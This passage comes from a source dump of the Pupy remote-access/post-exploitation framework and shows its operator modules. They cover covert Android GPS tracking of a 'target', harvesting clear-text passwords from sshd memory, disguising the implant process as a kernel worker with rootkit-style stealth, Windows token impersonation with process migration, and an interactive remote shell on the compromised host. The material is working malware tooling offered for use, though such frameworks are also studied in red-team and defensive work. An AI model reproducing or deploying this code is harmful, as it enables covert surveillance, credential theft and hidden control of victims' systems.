PupyArgumentParser(prog='gpstracker', description=cls.__doc__)\n        cls.arg_parser.add_argument('--start', action='store_true', help='start')\n        cls.arg_parser.add_argument('--stop', action='store_true', help='stop')\n        cls.arg_parser.add_argument('--status', action='store_true', help='status')\n        cls.arg_parser.add_argument('--dump', action='store_true', help='dump')\n        cls.arg_parser.add_argument('--clean', action='store_true', help='delete trace file stored on device')\n        cls.arg_parser.add_argument('-m', '--in-memory', action='store_true', help='traces stored in memory on the device (and not in file)')\n        cls.arg_parser.add_argument('-g', '--get-position', action='store_true', help='get current position')\n        cls.arg_parser.add_argument('-e', '--is-GPS-enabled', action='store_true', help='is GPS enabled?')\n        cls.arg_parser.add_argument('-n', '--is-network-rovider-enabled', action='store_true', help='is Network Provider enabled?')\n        cls.arg_parser.add_argument('-output-folder', dest='localOutputFolder', default='output/', help=\"Folder which will store targtet's postions (default: %(default)s)\")\n        cls.arg_parser.add_argument(\"-p\", '--period', type=int, default=15, help=\"delay between each gps position (default: %(default)s)\")\n\n    def run(self, args):\n        self.client.load_package(\"pupydroid.gpsTracker\")\n        self.client.load_package(\"pupydroid.utils\")\n        androidID = self.client.conn.modules['pupydroid.utils'].getAndroidID()\n        self.localFolder = getLocalAndroidPath(localFolder=args.localOutputFolder, androidID=androidID, userName=self.client.desc['user'])\n        gpsTracker = self.client.conn.modules['pupydroid.gpsTracker'].GpsTracker(period=args.period, inMemory=args.in_memory)\n        if args.is_GPS_enabled:\n            self.success(\"Is GPS enabled?\")\n            print(gpsTracker.isGPSenabled())\n        if args.is_network_rovider_enabled:\n            self.success(\"Is Network Provider enabled?\")\n            print(gpsTracker.isNetworkProviderEnabled())\n        if args.get_position:\n            if not gpsTracker.isNetworkProviderEnabled() and not gpsTracker.isGPSenabled():\n                self.error(\"GPS or Network Provider is not enabled on the device. You should not be able to get location!\")\n                return\n            else:\n                self.success(\"GPS or Network Provider is enabled on the device. You should be able to get location!\")\n            lat, lon = None, None\n            gpsTracker.enable()\n            for nbRetry in range(3):\n                self.success(\"Getting current location...\")\n                lat, lon = gpsTracker.getCurrentLocation()\n                if lat is None and lon is None:\n                    self.error(\"Impossible to get location, retrying...\")\n                    sleep(5)\n                else:\n                    self.success(\"Current location:\")\n                    print(\"latitude: {0} , longitude: {1}\".format(lat, lon))\n                    break\n            gpsTracker.disable()\n        if args.start:\n            if self.client.conn.modules[\"pupydroid.gpsTracker\"].startGpsTracker(period=args.period):\n                self.success(\"Tracking enabled. Get GPS position each {0} secds\".format(args.period))\n            else:\n                self.error(\"Tracking not enabled because already activated\")\n        elif args.stop:\n            self.success(\"Stopping GPS tracking... (can take {0} secds)\".format(args.period))\n            if self.client.conn.modules[\"pupydroid.gpsTracker\"].stopGpsTracker():\n                self.success(\"Tracking stopped\")\n            else:\n                self.error(\"Tracking not stopped because not activated\")\n        elif args.dump:\n            filename = os.path.join(self.localFolder,\"gpsTraces.csv\")\n            if not args.in_memory:\n                traces = []\n                download(self.client.conn, \"keflfjezomef.csv\",filename)\n                self.success(\"GPS positions downloaded in {0}\".format(filename))\n                f = csv.DictReader(open(filename))\n                for row in f:\n                    traces.append([row['date'].replace(' ',''),row['latitude'].replace(' ',''),row['longitude'].replace(' ','')])\n            else:\n                traces = self.client.conn.modules[\"pupydroid.gpsTracker\"].dumpGpsTracker()\n            self.success(\"{0} GPS positions\".format(len(traces)))\n            if len(traces)>0:\n                if args.in_memory:\n                    f=open(filename,'w')\n                    f.write(\"Date, Lat, Lon\\n\")\n                    for aPos in traces:\n                        f.write(\"{0}, {1}, {2}\\n\".format(aPos[0], aPos[1], aPos[2]))\n                    f.close()\n                    self.success(\"GPS positions (.csv) saved in {0}\".format(filename))\n                kmlFilename = os.path.join(self.localFolder,\"gpsTraces.kml\")\n                generateKML(androidID, traces, outputFile=kmlFilename)\n                self.success(\"KML file created in {0}\".format(kmlFilename))\n            else:\n                self.error(\"No GPS positions get. You should start GPS tracking or wait a moment\")\n        elif args.status:\n            if self.client.conn.modules[\"pupydroid.gpsTracker\"].statusGpsTracker():\n                self.success(\"GPS tracking is enabled\")\n            else:\n                self.success(\"GPS tracking is NOT enabled\")\n        elif args.clean:\n            status = self.client.conn.modules[\"pupydroid.gpsTracker\"].deleteFile()\n            if status:\n                self.success(\"Trace file deleted from device\")\n            else:\n                self.error(\"Impossible to delete trace file on device\")\n                self.error(\"Gps Tracking has never been enabled or it is running\")\n"
  },
  {
    "path": "pupy/modules/hashmon.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\n\n__class_name__='KeyloggerModule'\n\n@config(cat='gather', compat=['linux', 'solaris'])\nclass KeyloggerModule(PupyModule):\n    '''\n        Try to find clear text passwords in memory\n    '''\n    unique_instance = True\n    dependencies = {\n        'linux': ['memorpy', 'hashmon'],\n    }\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog='hashmon', description=cls.__doc__)\n        cls.arg_parser.add_argument(\n            '-F', '--filter', default='.*/?(sshd)$', help='Regex to filter interesting process names')\n        cls.arg_parser.add_argument(\n            '-H', '--hashes', default='', help='Hashes to search (derive from shadow by default)')\n        cls.arg_parser.add_argument('-p', '--poll', default=20, type=int, help='Poll interval (seconds)')\n        cls.arg_parser.add_argument('-d', '--dups', default=131072, type=int,\n                                         help='Amount of processed strings to store')\n        cls.arg_parser.add_argument('-P', '--policy', default=True, help='Regex to check valid password')\n        cls.arg_parser.add_argument('-m', '--min', default=8, type=int, help='Minimal password length')\n        cls.arg_parser.add_argument('-M', '--max', default=20, type=int, help='Maximal password length')\n        cls.arg_parser.add_argument('action', choices=['start', 'stop', 'dump'])\n\n    def run(self, args):\n        start = self.client.remote('hashmon', 'start')\n        stop = self.client.remote('hashmon', 'stop', False)\n        dump = self.client.remote('hashmon', 'dump')\n\n        if args.action == 'start':\n            start(\n                [x.strip() for x in args.filter.split(',')],\n                hashes=args.hashes.split(),\n                poll=args.poll,\n                minpw=args.min, maxpw=args.max,\n                maxdups=args.dups,\n                policy=args.policy\n            )\n        elif args.action == 'dump':\n            results = dump()\n            if results is None:\n                self.error('HashMon is not started')\n            else:\n                for password, hash in results:\n                    self.success('{}:{}'.format(hash, password))\n\n        elif args.action == 'stop':\n            stop()\n"
  },
  {
    "path": "pupy/modules/hide_process.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\n\n__class_name__ = \"HideProcessModule\"\n\n\n@config(compat=\"linux\", cat=\"manage\", tags=[\"hide\", \"rootkit\", \"stealth\"])\nclass HideProcessModule(PupyModule):\n    \"\"\" Edit current process argv & env not to look suspicious \"\"\"\n\n    dependencies = [\"hide_process\"]\n\n    @classmethod\n    def init_argparse(cls):\n        example = 'Example:\\n'\n        example += '>> hide_process --argv \"[kworker/2:0]\"\\n'\n\n        cls.arg_parser = PupyArgumentParser(prog=\"hide_process\", description=cls.__doc__, epilog=example)\n        cls.arg_parser.add_argument('--argv', default=\"/bin/bash\", help='change the new process argv')\n\n    def run(self, args):\n        change_argv = self.client.remote('hide_process', 'change_argv')\n        change_argv(argv=args.argv)\n        self.success(\"process argv and env changed !\")\n"
  },
  {
    "path": "pupy/modules/http.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib.PupyOutput import Pygment, Table, NewLine\nfrom pygments.lexers import guess_lexer, JsonLexer\nfrom json import loads, dumps\n\n__class_name__ = 'http'\n\n\n@config(cat='admin')\nclass http(PupyModule):\n    ''' Trivial Get/Post requests via HTTP protocol '''\n    is_module=False\n\n    dependencies = []\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog='http', description=cls.__doc__)\n        cls.arg_parser.add_argument('-H', '--header', default=[], action='append',\n                                         help='User-Agent=Mozilla X-Forwarded-For=127.0.0.1')\n        cls.arg_parser.add_argument('-C', '--color', action='store_true', help='Try to colorize output')\n        cls.arg_parser.add_argument('-j', '--json', action='store_true', help='Indent JSON response')\n        cls.arg_parser.add_argument('-I', '--get-headers', action='store_true', default=False, help='Return headers')\n        cls.arg_parser.add_argument('-R', '--no-result', action='store_true', default=False,\n                                    help='Do not show result')\n        cls.arg_parser.add_argument('-P', '--proxy', help='Proxy URI (socks://127.0.0.1:1234)')\n        cls.arg_parser.add_argument('-o', '--output', help='Output to file')\n        cls.arg_parser.add_argument('-i', '--input', help='Input from file (POST)')\n        cls.arg_parser.add_argument('-v', '--verify', default=False, action='store_true', help='Verify certificate')\n        cls.arg_parser.add_argument('-r', '--follow-redirects', default=False, action='store_true',\n                                     help='Follow redirects')\n        cls.arg_parser.add_argument('url', help='url')\n        cls.arg_parser.add_argument('data', nargs='*', default=[], help='Data (POST/urlencode)')\n\n    def run(self, args):\n        tinyhttp = self.client.remote('network.lib.tinyhttp')\n\n        if '://' not in args.url:\n            args.url = 'http://' + args.url\n\n        http = tinyhttp.HTTP(\n            proxy=args.proxy,\n            noverify=not args.verify,\n            follow_redirects=args.follow_redirects,\n        )\n\n        headers = dict(\n            tuple(x.split('=', 1)) for x in (\n                args.header if type(args.header) == list else [\n                    args.header\n                ]\n            )\n        )\n\n        try:\n            result = None\n            if args.input or args.data:\n                result = self.client.obtain_call(\n                    http.post,\n                    args.url,\n                    data=[\n                          tuple(x.split('=', 1)) for x in args.data\n                    ] if all(\n                        '=' in param for param in args.data\n                    ) else ' '.join(args.data),\n                    file=args.input,\n                    save=args.output,\n                    return_headers=args.get_headers,\n                    code=args.get_headers,\n                    return_url=args.get_headers,\n                    headers=headers\n                )\n            else:\n                result = self.client.obtain_call(\n                    http.get,\n                    args.url,\n                    save=args.output,\n                    return_headers=args.get_headers,\n                    code=args.get_headers,\n                    return_url=args.get_headers,\n                    headers=headers\n                )\n\n            if args.get_headers:\n                result, url, code, headers = result\n                self.log(Table([\n                    {\n                        'HEADER': header,\n                        'VALUE': value,\n                    } for header, value in headers.items()\n                ], ['HEADER', 'VALUE'], caption='{} {}'.format(code, url)))\n\n                if not args.no_result:\n                    self.log(NewLine())\n\n            if result and not args.no_result:\n                if args.json:\n                    try:\n                        result = dumps(\n                            loads(result),\n                            indent=1, sort_keys=True\n                        )\n                        if args.color:\n                            result = Pygment(JsonLexer(), result)\n                    except ValueError:\n                        pass\n\n                elif args.color:\n                    try:\n                        lexer = guess_lexer(result)\n                        result = Pygment(lexer, result)\n                    except:\n                        pass\n\n                self.log(result)\n\n        except Exception as e:\n            if hasattr(e, 'reason'):\n                code = getattr(e, 'code', None)\n                message = '{} {} ({})'.format(code or '?', e.reason, e.filename or '')\n                if code and (code // 100 < 4):\n                    self.warning(message)\n                else:\n                    self.error(message)\n\n                return\n\n            elif hasattr(e, 'msg'):\n                message = e.msg\n            else:\n                message = str(e)\n\n            self.error('Error: {}'.format(message))\n"
  },
  {
    "path": "pupy/modules/igd.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport json\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib.utils.term import colorize\nfrom pupy.network.lib.convcompat import as_unicode_string_deep\nfrom defusedxml import minidom\n\n__class_name__ = \"IGDClient\"\n\n\nclass IGDCMDClient(object):\n    def __init__(self):\n        self.igdc = None\n\n    def init(self, IGDClient, args, log):\n        \"\"\"\n        initiate the IGDClient\n        \"\"\"\n\n        self.igdc = IGDClient(\n            args.source, args.url,\n            args.DEBUG, args.pretty_print\n        )\n\n        self.log = log\n\n    def show(self, values):\n        values = as_unicode_string_deep(values)\n\n        if isinstance(values, dict):\n            column_size = max([len(x) for x in values])\n            fmt = '{{:<{}}}'.format(column_size)\n            for k, v in values.items():\n                if k.startswith('New'):\n                    k = k[3:]\n                self.log(colorize(fmt.format(k), 'yellow')+' {}'.format(v))\n        else:\n            values = list(values)\n            columns = []\n            column_sizes = {}\n            for value in values:\n                for column, cvalue in value.items():\n                    if column not in columns:\n                        if column.startswith('New'):\n                            columnlen = len(column) - 3\n                        else:\n                            columnlen = len(column)\n\n                        columns.append(column)\n                        column_sizes[column] = max(len(str(cvalue)), columnlen)\n                    else:\n                        column_sizes[column] = max(\n                            column_sizes[column], len(str(cvalue))\n                        )\n\n            lines = []\n            header = ''\n            for column in columns:\n                fmt = ' {{:<{}}} '.format(column_sizes[column])\n                if column.startswith('New'):\n                    column = column[3:]\n                header += colorize(fmt.format(column), 'yellow')\n            lines.append(header)\n\n            for value in values:\n                row = ''\n                for column in columns:\n                    fmt = ' {{:<{}}} '.format(column_sizes[column])\n                    row += fmt.format(value[column] or '')\n                lines.append(row)\n\n            self.log('\\n'.join(lines))\n\n    def addPM(self, args):\n        self.igdc.AddPortMapping(\n            args.extPort, args.proto, args.intPort,\n            args.enabled, args.duration,\n            args.intIP, args.desc, args.remote\n        )\n\n    def delPM(self, args):\n        self.igdc.DeletePortMapping(\n            args.extPort,\n            args.proto, args.remote)\n\n    def getExtIP(self, args):\n        extip = self.igdc.GetExternalIP()\n        self.show(extip)\n\n    def getGPM(self, args):\n        pm = self.igdc.GetGenericPortMappingEntry(args.index, True)\n        self.show(pm)\n\n    def getSPM(self, args):\n\n        pm = self.igdc.GetSpecificPortMappingEntry(\n            args.extPort, args.proto, args.remote)\n        self.show(pm)\n\n    def getNRSS(self, args):\n\n        pm = self.igdc.GetNATRSIPStatus()\n        self.show(pm)\n\n    def getWDD(self, args):\n\n        pm = self.igdc.GetWarnDisconnectDelay()\n        self.show(pm)\n\n    def getIDT(self, args):\n\n        pm = self.igdc.GetIdleDisconnectTime()\n        self.show(pm)\n\n    def getADT(self, args):\n\n        pm = self.igdc.GetAutoDisconnectTime()\n        self.show(pm)\n\n    def getSI(self, args):\n        pm = self.igdc.GetStatusInfo()\n        self.show(pm)\n\n    def setWDD(self, args):\n\n        self.igdc.SetWarnDisconnectDelay(args.delay)\n\n    def setIDT(self, args):\n\n        self.igdc.SetIdleDisconnectTime(args.time)\n\n    def setADT(self, args):\n\n        self.igdc.SetAutoDisconnectTime(args.time)\n\n    def forceTerm(self, args):\n\n        self.igdc.ForceTermination()\n\n    def requestTerm(self, args):\n\n        self.igdc.RequestTermination()\n\n    def requestConn(self, args):\n\n        self.igdc.RequestConnection()\n\n    def getCT(self, args):\n\n        pm = self.igdc.GetConnectionTypeInfo()\n        self.show(pm)\n\n    def setCT(self, args):\n\n        self.igdc.SetConnectionType(args.ct_type)\n\n    def custom(self, args):\n        args.input_args\n        iargs = json.loads(args.input_args)\n        resp_xml = self.igdc.customAction(args.method_name, iargs, args.svc)\n        if self.igdc.pprint:\n            xml = minidom.parseString(resp_xml)\n            xml.toprettyxml()\n        else:\n            resp_xml\n\n    # following are for IPv6FWControl\n    def getFWStatus(self, args):\n        pm = self.igdc.GetFWStatus()\n        self.show(pm)\n\n    def addPH(self, args):\n        r = self.igdc.AddPinhole(\n            args.intIP,\n            args.rIP,\n            args.rPort,\n            args.intPort,\n            args.proto,\n            args.lease)\n        self.show(r)\n\n    def getOPHT(self, args):\n        r = self.igdc.GetPinholeTimeout(\n            args.intIP, args.rIP, args.rPort, args.intPort, args.proto)\n        self.show(r)\n\n    def updatePH(self, args):\n        self.igdc.UpdatePinhole(args.uid, args.lease)\n\n    def delPH(self, args):\n        self.igdc.DelPinhole(args.uid)\n\n    def getPHPkts(self, args):\n        r = self.igdc.GetPinholePkts(args.uid)\n        self.show(r)\n\n    def chkPH(self, args):\n        r = self.igdc.CheckPinhole(args.uid)\n        self.show(r)\n\n\n@config(cat='admin')\nclass IGDClient(PupyModule):\n    \"\"\" UPnP IGD Client \"\"\"\n\n    @classmethod\n    def init_argparse(cls):\n        cli = IGDCMDClient()\n\n        parser = PupyArgumentParser(\n            prog='igdc',\n            description=cls.__doc__\n        )\n        parser.set_defaults(func=cli.getExtIP)\n        parser.add_argument('-d', '--DEBUG', action='store_true',\n                            help='enable DEBUG output')\n\n        parser.add_argument(\n            '-pp',\n            '--pretty_print',\n            action='store_true',\n            help='enable xml pretty output for debug and custom action')\n        parser.add_argument('-s', '--source', default='0.0.0.0',\n                            help='source address of requests')\n        parser.add_argument('-u', '--url',\n                            help='control URL')\n\n        subparsers = parser.add_subparsers()\n\n        parser_start = subparsers.add_parser('add', help='add port mapping')\n        parser_start.add_argument('intPort', type=int,\n                                  help='Internal Port')\n        parser_start.add_argument('extPort', type=int,\n                                  help='External Port')\n        parser_start.add_argument('proto', choices=['UDP', 'TCP'],\n                                  help='Protocol')\n        parser_start.add_argument('intIP', nargs='?', default=None,\n                                  help='Internal IP')\n        parser_start.add_argument('-r', '--remote', default='',\n                                  help='remote host')\n        parser_start.add_argument('-d', '--desc', default='',\n                                  help='Description of port mapping')\n        parser_start.add_argument(\n            '-e',\n            '--enabled',\n            type=int,\n            choices=[\n                1,\n                0],\n            default=1,\n            help='enable or disable port mapping')\n        parser_start.add_argument('-du', '--duration', type=int, default=0,\n                                  help='Duration of the mapping')\n        parser_start.set_defaults(func=cli.addPM)\n\n        parser_del = subparsers.add_parser('del', help='del port mapping')\n        parser_del.add_argument('extPort', type=int,\n                                help='External Port')\n        parser_del.add_argument('proto', choices=['UDP', 'TCP'],\n                                help='Protocol')\n        parser_del.add_argument('-r', '--remote', default='',\n                                help='remote host')\n        parser_del.set_defaults(func=cli.delPM)\n\n        parser_geip = subparsers.add_parser('getextip', help='get external IP')\n        parser_geip.set_defaults(func=cli.getExtIP)\n\n        parser_gpm = subparsers.add_parser('getgpm', help='get generic pm entry')\n        parser_gpm.add_argument('-i', '--index', type=int,\n                           help='index of PM entry')\n        parser_gpm.set_defaults(func=cli.getGPM)\n\n        parser_spm = subparsers.add_parser(\n            'getspm', help='get specific port mapping')\n        parser_spm.add_argument('extPort', type=int,\n                                help='External Port')\n        parser_spm.add_argument('proto', choices=['UDP', 'TCP'],\n                                help='Protocol')\n        parser_spm.add_argument('-r', '--remote', default='',\n                                help='remote host')\n        parser_spm.set_defaults(func=cli.getSPM)\n\n        parser_nrss = subparsers.add_parser(\n            'getnrss', help='get NAT and RSIP status')\n        parser_nrss.set_defaults(func=cli.getNRSS)\n\n        parser_gwdd = subparsers.add_parser(\n            'getwdd', help='get warn disconnect delay')\n        parser_gwdd.set_defaults(func=cli.getWDD)\n\n        parser_swdd = subparsers.add_parser(\n            'setwdd', help='set warn disconnect delay')\n        parser_swdd.add_argument('delay', type=int,\n                                 help='warn disconnect delay')\n        parser_swdd.set_defaults(func=cli.setWDD)\n\n        parser_gidt = subparsers.add_parser(\n            'getidt', help='get idle disconnect time')\n        parser_gidt.set_defaults(func=cli.getIDT)\n\n        parser_sidt = subparsers.add_parser(\n            'setidt', help='set idle disconnect time')\n        parser_sidt.add_argument('time', type=int,\n                                 help='idle disconnect time')\n        parser_sidt.set_defaults(func=cli.setIDT)\n\n        parser_gadt = subparsers.add_parser(\n            'getadt', help='get auto disconnect time')\n        parser_gadt.set_defaults(func=cli.getADT)\n\n        parser_sadt = subparsers.add_parser(\n            'setadt', help='set auto disconnect time')\n        parser_sadt.add_argument('time', type=int,\n                                 help='auto disconnect time')\n        parser_sadt.set_defaults(func=cli.setADT)\n\n        parser_gsi = subparsers.add_parser('getsi', help='get status info')\n        parser_gsi.set_defaults(func=cli.getSI)\n\n        parser_rt = subparsers.add_parser('rt', help='request termination')\n        parser_rt.set_defaults(func=cli.requestTerm)\n\n        parser_ft = subparsers.add_parser('ft', help='force termination')\n        parser_ft.set_defaults(func=cli.forceTerm)\n\n        parser_rc = subparsers.add_parser('rc', help='request connection')\n        parser_rc.set_defaults(func=cli.requestConn)\n\n        parser_gct = subparsers.add_parser(\n            'getct', help='get connection type info')\n        parser_gct.set_defaults(func=cli.getCT)\n\n        parser_sct = subparsers.add_parser('setct', help='set connection type')\n        parser_sct.add_argument('ct_type',\n                                help='connection type')\n        parser_sct.set_defaults(func=cli.setCT)\n\n        parser_cust = subparsers.add_parser('custom', help='use custom action')\n        parser_cust.add_argument('method_name',\n                                 help='name of custom action')\n        parser_cust.add_argument('-svc', type=str,\n                                 choices=['WANIPConnection',\n                                          'WANIPv6FirewallControl'],\n                                 default='WANIPConnection',\n                                 help='IGD service, default is WANIPConnection')\n        parser_cust.add_argument(\n            '-iargs',\n            '--input_args',\n            default='{}',\n            help='input args, the format is same as python dict,'\n            'e.g. \"{\\'NewPortMappingIndex\\': [0, \\'ui4\\']}\"')\n        parser_cust.set_defaults(func=cli.custom)\n\n        # following for IPv6FWControl\n        parser_gfwstatus = subparsers.add_parser(\n            'getfwstatus', help='get IPv6 FW status')\n        parser_gfwstatus.set_defaults(func=cli.getFWStatus)\n\n        parser_addph = subparsers.add_parser('addph', help='add IPv6 FW Pinhole')\n        parser_addph.add_argument('intIP',\n                                  help='Internal IP')\n        parser_addph.add_argument('-intPort', type=int, default=0,\n                                  help='Internal Port')\n        parser_addph.add_argument('proto', choices=['UDP', 'TCP', 'ALL'],\n                                  help='Protocol')\n        parser_addph.add_argument('-rIP', default='',\n                                  help='Remote IP')\n        parser_addph.add_argument('-rPort', type=int, default=0,\n                                  help='Remote Port')\n\n        parser_addph.add_argument('-lease', type=int, default=3600,\n                                  help='leasetime of the pinhole')\n        parser_addph.set_defaults(func=cli.addPH)\n\n        parser_gopht = subparsers.add_parser(\n            'getopht', help='get IPv6 FW OutboundPinholeTimeout')\n        parser_gopht.add_argument('-intIP', type=str, default='',\n                                  help='Internal IP')\n        parser_gopht.add_argument('-intPort', type=int, default=0,\n                                  help='Internal Port')\n        parser_gopht.add_argument(\n            '-proto',\n            choices=[\n                'UDP',\n                'TCP',\n                'ALL'],\n            default='ALL',\n            help='Protocol')\n        parser_gopht.add_argument('-rIP', default='',\n                                  help='Remote IP')\n        parser_gopht.add_argument('-rPort', type=int, default=0,\n                                  help='Remote Port')\n        parser_gopht.set_defaults(func=cli.getOPHT)\n\n        parser_uph = subparsers.add_parser(\n            'updateph', help='update IPv6 FW pinhole')\n        parser_uph.add_argument('uid', type=int, help='UniqueID of the pinhole')\n        parser_uph.add_argument('lease', type=int,\n                                help='new leasetime of the pinhole')\n        parser_uph.set_defaults(func=cli.updatePH)\n\n        parser_dph = subparsers.add_parser('delph', help='delete IPv6 FW pinhole')\n        parser_dph.add_argument('uid', type=int, help='UniqueID of the pinhole')\n        parser_dph.set_defaults(func=cli.delPH)\n\n        parser_gphpkts = subparsers.add_parser(\n            'getphpkts', help='get number of packets go through specified IPv6FW pinhole')\n        parser_gphpkts.add_argument(\n            'uid', type=int, help='UniqueID of the pinhole')\n        parser_gphpkts.set_defaults(func=cli.getPHPkts)\n\n        parser_chkph = subparsers.add_parser(\n            'chkph', help='check if the specified pinhole is working')\n        parser_chkph.add_argument('uid', type=int, help='UniqueID of the pinhole')\n        parser_chkph.set_defaults(func=cli.chkPH)\n\n        cls.arg_parser = parser\n        cls.cli = cli\n\n    def run(self, args):\n        igdc = self.client.remote('network.lib.igd', 'IGDClient', False)\n\n        self.cli.init(igdc, args, self.log)\n\n        if not self.cli.igdc.available:\n            self.error('IGD: Not found in LAN')\n            return\n\n        try:\n            args.func(args)\n        except Exception as e:\n            if hasattr(e, 'description'):\n                self.error('IGD: {}'.format(e.description))\n            else:\n                self.error('Exception: {}'.format(e))\n"
  },
  {
    "path": "pupy/modules/impersonate.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.modules.lib.windows.migrate import migrate\nfrom pupy.pupylib.PupyOutput import Table, MultiPart\n\n__class_name__=\"ImpersonateModule\"\n\n@config(compat=\"windows\", category=\"exploit\")\nclass ImpersonateModule(PupyModule):\n    \"\"\" list/impersonate process tokens \"\"\"\n\n    dependencies=[\"pupwinutils.security\"]\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog=\"impersonate\", description=cls.__doc__)\n        cls.arg_parser.add_argument(\"-l\", \"--list\", action='store_true', help=\"list available Sids\")\n        cls.arg_parser.add_argument(\"-i\", \"--impersonate\", metavar=\"SID\", help=\"impersonate a sid\")\n        cls.arg_parser.add_argument(\"-m\", \"--migrate\", action=\"store_true\", help=\"spawn a new process and migrate into it\")\n        cls.arg_parser.add_argument(\"-r\", \"--rev2self\", action='store_true', help=\"call rev2self\")\n\n    def run(self, args):\n        if args.list:\n            ListCachedSids = self.client.remote(\n                'pupwinutils.security', 'ListCachedSids')\n            ListSids = self.client.remote('pupwinutils.security', 'ListSids')\n\n            cached = ListCachedSids()\n            sids = ListSids()\n\n            process_table = []\n            sids_table = []\n            sids_dict = {}\n\n            for (pid, process, sid, username) in sids:\n                process_table.append({\n                    'pid': pid,\n                    'process': process,\n                    'sid': sid,\n                    'username': username\n                })\n\n                sids_dict[sid] = username\n\n            for sid, username in sids_dict.items():\n                sids_table.append({\n                    'sid': sid,\n                    'username': username\n                })\n\n            for (sid, username) in cached:\n                sids_table.append({\n                    'sid': sid + ' (CACHED)',\n                    'username': username\n                })\n\n            self.log(MultiPart([\n                Table(process_table, [\n                    'pid', 'process', 'username', 'sid'\n                ], caption='Process table'),\n\n                Table(sids_table, [\n                    'sid', 'username'\n                ], caption='Available Sids')\n            ]))\n\n        elif args.impersonate:\n            if args.migrate:\n                create_proc_as_sid = self.client.remote('pupwinutils.security', 'create_proc_as_sid', False)\n\n                proc_pid = create_proc_as_sid(args.impersonate)\n                migrate(self, proc_pid, keep=True)\n            else:\n                impersonate_sid_long_handle = self.client.remote(\n                    'pupwinutils.security', 'impersonate_sid_long_handle', False)\n\n                self.client.impersonated_dupHandle = impersonate_sid_long_handle(args.impersonate, close=False)\n\n            self.success('Sid {} impersonated !'.format(args.impersonate))\n\n        elif args.rev2self:\n            rev2self = self.client.remote('pupwinutils.security', 'rev2self', False)\n\n            rev2self()\n            self.client.impersonated_dupHandle = None\n            self.success('rev2self called')\n\n        else:\n            self.error('no option supplied')\n"
  },
  {
    "path": "pupy/modules/interactive_shell.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport sys\nimport os\nfrom pupy.network.lib.rpc import nowait\nfrom argparse import REMAINDER\n\nfrom pupy.pupylib.PupyModule import (\n    config, PupyModule, PupyArgumentParser,\n    REQUIRE_TERMINAL\n)\n\n__class_name__=\"InteractiveShell\"\n@config(cat=\"admin\")\nclass InteractiveShell(PupyModule):\n    \"\"\"\n        open an interactive command shell with a nice tty\n    \"\"\"\n\n    rec = 'ttyrec'\n\n    io = REQUIRE_TERMINAL\n\n    dependencies = {\n        'windows': ['winpty.dll', 'winpty', 'pupwinutils.security'],\n        'all': ['ptyshell'],\n    }\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(description=cls.__doc__)\n        cls.arg_parser.add_argument('-c', '--codepage', help=\"Decode output with encoding\")\n        cls.arg_parser.add_argument('-T', action='store_true', dest='pseudo_tty', help=\"Disable tty allocation\")\n        cls.arg_parser.add_argument('-S', '--su', help='Try to change uid (linux only)')\n        cls.arg_parser.add_argument('-R', default='asciinema', dest='recorder',\n                                         choices=['ttyrec', 'asciinema', 'asciinema1', 'none'],\n                                         help=\"Change tty recorder\")\n        cls.arg_parser.add_argument('program', nargs=REMAINDER, help='Execute in shell')\n\n    def init(self, args):\n        if args.recorder == 'none':\n            self.rec = None\n        else:\n            self.rec = args.recorder\n\n        PupyModule.init(self, args)\n\n    def run(self, args):\n        if 'linux' not in sys.platform:\n            raise NotImplementedError('Interactive shell is not supported for this platform')\n\n        # Hooks\n\n        # self.stdout may be mapped to self.iogroup.stdout via logger\n        # TODO: Logger refactoring - migrate to IOGroup?\n\n        ps = None\n        detached = [False]\n\n        def write(data):\n            if not self.iogroup.closed:\n                self.stdout.write(data)\n\n        def local_detach(iogroup):\n            detached[0] = True\n            iogroup.close()\n\n        def local_close(iogroup):\n            iogroup.close()\n\n        term = os.environ.get('TERM', 'xterm')\n\n        acquire_shell = self.client.remote('ptyshell', 'acquire', False)\n        release_shell = self.client.remote('ptyshell', 'release', False)\n\n        cmdline = ' '.join(args.program)\n\n        try:\n            new, ps = acquire_shell(cmdline, term, args.su)\n        except Exception as e:\n            self.error(' '.join(x for x in e.args if type(x) == str))\n            return\n\n        if not ps:\n            self.error('Can\\'t create shell')\n            return\n\n        if new:\n            self.client.conn.register_remote_cleanup(release_shell)\n\n        remote_write = nowait(ps.write)\n\n        self.iogroup.set_on_winch(nowait(ps.set_pty_size))\n        self.iogroup.set_mapping('~~~.', local_close)\n        self.iogroup.set_mapping('~~~,', local_detach)\n\n        if new:\n            self.success('Start new shell')\n        else:\n            self.warning('Reuse previous shell')\n\n        with self.iogroup:\n            ps.attach(write, self.iogroup.close)\n\n            for data in self.iogroup:\n                remote_write(data)\n\n        try:\n            ps.detach()\n        except Exception as e:\n            detached[0] = False\n            self.error(e)\n\n        if detached[0]:\n            self.warning('Shell detached')\n        else:\n            try:\n                release_shell()\n                self.success('Shell closed')\n                self.client.conn.unregister_remote_cleanup(release_shell)\n            except Exception as e:\n                self.error(e)\n"
  },
  {
